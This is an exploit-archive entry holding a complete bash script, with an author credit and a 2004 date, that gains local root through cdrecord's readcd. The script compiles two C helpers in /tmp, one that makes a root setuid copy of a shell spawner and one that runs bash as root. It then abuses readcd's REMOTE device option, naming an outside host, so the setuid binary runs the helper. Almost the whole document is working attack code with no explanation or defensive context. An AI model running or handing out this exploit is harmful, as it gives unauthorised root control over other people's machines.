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CDRecord's ReadCD Local Root Privileges
[=======================================
CDRecord's ReadCD Local Root Privileges
=======================================
#!/bin/bash
echo "readcd-exp.sh -- ReadCD local exploit ( Test on cdrecord-2.01-0.a27.2mdk)"
echo "Author : newbug [at] chroot.org"
echo "Date :09.13.2004"
echo "IRC : irc.chroot.org #discuss"
export READCD=/usr/bin/readcd
cd /tmp
cat > s.c <<_EOF_
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
int main()
{
setuid(0);setgid(0);
chown("/tmp/ss", 0, 0);
chmod("/tmp/ss", 04755);
return 0;
}
_EOF_
cat > ss.c <<_EOF_
#include <stdio.h>
int main()
{
setuid(0);setgid(0);
execl("/bin/bash","bash",(char *)0);
return 0;
}
_EOF_
gcc -o s s.c
gcc -o ss ss.c
export RSH=/tmp/s
$READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1
/tmp/ss
# 0day.today [2024-11-16] #